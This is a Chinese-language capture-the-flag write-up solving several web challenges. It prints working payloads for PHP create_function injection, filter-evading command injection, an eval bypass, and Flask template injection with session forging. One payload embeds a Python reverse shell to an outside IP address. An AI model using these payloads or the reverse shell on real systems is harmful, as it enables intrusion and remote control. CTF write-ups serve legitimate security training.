xmctf平台部分web

xmctf部分web

平台:xmctf.top

easy-web

打开靶机源码如下

<?php
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
    die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
    echo 'check';
} else {
    $act($arg,'');
}

echo '666';
badbad!!!

存在一个变量key为bad,定义了值为bad所以die出badbad,get传参两个参数act和arg,正则匹配a-z,0-9,/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,/D如果使用$限制结尾字符,则不允许结尾有换行

需要绕过if正则匹配,从而控制arg参数

考点:create_function代码注入

create_function:根据传递的参数创建匿名函数,并为其返回唯一名称

语法:
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

第一步要让key不die掉,直接post一个key把原来的key覆盖掉即可
然后想要函数正常调用,那就必须绕过正则,因此我们要在函数名的头或者尾加上一个字符\

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

那么接下来就是利用 $act($arg,'');进行代码注入了。

payload:?act=\create_function&arg=){return%20123;}system(%27dir%27);//
传入之后

$act($arg,'');
create_function(){return%20123;}system(%27dir%27);//,'')

实际上也就是这样

function a{
return%20123;}system(%27dir%27);//

函数被闭合,就可以执行任意命令了。
读flag:

RCE-训练

打开靶机得源码

<?php
error_reporting(0);
highlight_file(__file__);
$ip = $_GET['ip'];
if (isset($ip)) {
  if(preg_match("/(;|`| |&|cp|mv|cat|tail|more|rev|tac|\*|\{)/i", $ip)){
      die("hack");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("no!>");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  var_dump($a);
}
?>

主要两个正则,第一个过滤一些文件读取命令,第二个匹配flag的任意单个或多个字符串。
经测试可以用|进行命令执行

那么关键是绕过了,可以利用shell命令构造

payload:?ip=127.0.0.1|echo$IFS$9bHMgLw|base64$IFS$1-d|sh
$IFS$9代替空格,bHMgLw->ls /,输出给base64还原然后sh执行

那么读取flag

web4

打开靶机有一串md5代码

解析后为1.1.1.1,抓包加个xff头成功下一步

打开php得源码

<?php
show_source(__FILE__);
error_reporting(0);
$disable_fun = ["assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$disable_fun = array_merge($disable_fun, get_defined_functions()['internal']);
foreach($disable_fun as $i){
    if(stristr($_GET[shell], $i)!==false){
        die('xmctf');
    }
}
eval($_GET[shell]);

disable_fun列表是一些文件操作函数,array_merge将多个数组单元合并,get_defined_functions返回数组,foreach遍历新的disable_function并传递给$i,if检测如果传入的shell中在数组中出现,则die,过了if检测则输出shell内容

直接变量拼接,payload:?shell=$a;$a='syst'.'em';$a("cat flag.php");
传入在源码得到flag

web8

打开靶机

传入?name={{2*2}}回显

猜测为模板注入,{{config}}查看配置信息,发现secret_key泄露

那么考虑session伪造了,查看cookie部分发现jwt

解密得{'username': b'guest'},利用flask_session_cookie_manager脚本伪造admin

修改session访问/flag即可

web11

打开靶机只有一句hello,guest,讲道理要是没做web8我都想不到要传name。。。。
测试之后发现还是模板注入,

不过测试之后发现过了了很多东西,config,下划线,点号等等

也没有了session伪造不了,那么只能命令执行了。

payload:

{{""[request["ar"+"gs"]["class"]][request["ar"+"gs"]["mro"]][1][request["ar"+"gs"]["subclass"]]()[286][request["ar"+"gs"]["init"]][request["ar"+"gs"]["globals"]]["os"]["popen"](request["ar"+"gs"]["cmd"])["read"]()}}&class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.134.220",3122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

request["args"]["xx"]配合赋值代替双下划线,后面开个python服务器连上自己的ecs,nc监听

读取flag即可。

web12

打开靶机得源码

flag在哪里呢?
<?php
header("Content-Type: text/html;charset=utf-8");
include "flag.php";
echo "flag在哪里呢?<br>";
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|cu|readfile|flip|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

主要三层正则匹配,第一层禁用了几个伪协议,第二层匹配a-z,逗号,下划线,(?R)引用当前表达式,(?R)?代表可以有引用,也可以没有,引用则变成[a-z,_]+\([a-z,_]+\((?R)?\)\)的形式,可以一直迭代下去。这样可以匹配一些诸如print(echo(1))括号和字符组成的字符集,第三个禁用一些函数

payload:?exp=print_r(scandir(pos(localeconv())));,scandir列出目录,pos返回数组中的当前单元, 默认取第一个值,localeconv返回数组。

那么读取flag.php,next函数读取php的第一个元素的下一个元素,flag.php是倒数第二个,所以可以把用array_reverse把数组倒过来再用next指向flag.php,最后用highlight_file读取。
payload:highlight_file(next(array_reverse(scandir(pos(localeconv())))));

发表评论